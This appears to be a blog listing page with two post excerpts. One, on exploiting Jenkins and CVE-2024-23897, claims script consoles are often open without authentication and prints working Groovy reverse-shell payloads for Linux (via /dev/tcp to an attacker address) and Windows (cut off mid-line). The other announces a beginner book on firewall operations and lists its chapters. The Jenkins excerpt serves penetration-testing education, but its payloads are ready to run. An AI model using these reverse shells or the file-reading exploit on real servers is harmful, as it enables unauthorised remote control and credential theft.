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Exploiting Jenkins + CVE-2024-23897

Exploiting Jenkins / CVE-2024-23897 Often the script console is accessible without authentication due to misconfig on http://JENKINS_IP/script If you don't have access to script console and the version is vulnerable to CVE-2024-23897 , then exploit it to read files and get authentication credentials for Jenkins, (explained below) Groovy scripts can be executed from the script console. To get a reverse shell, execute the following script. For Linux, r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/YOUR_IP/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()   For Windows,   String host="YOUR_IP"; int port=PORT; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStrea...

Being a Firewall Engineer : An Operational Approach: A Comprehensive guide on firewall operations and best practices

Glad to announce the second edition of my book, Being a Firewall Engineer : An Operational Approach: A Comprehensive guide on firewall operations and best practices is now live on Amazon.

The firewall technologies and the landscape is rapidly changing and therefore i needed to make multiple changes from the first edition.This is not a configuration guide and is suitable for beginners and junior engineers.

The following topics are briefly covered in the second edition of this book.

  1. Various Job roles related to Firewalls.
  2. What makes you a firewall expert?
  3. Know the major firewall vendors and their models.
  4. Firewall ranking and benchmarks.
  5. Understand the packet flow or order of operation.
  6. Understand the different types of firewalls.
  7. Daily tasks of a firewall administrator
  8. Guidelines on firewall hardening and compliance.
  9. Understand Change Management process.
  10. Illustration on How to make a firewall change (incorporating Change management process) with a real world example.
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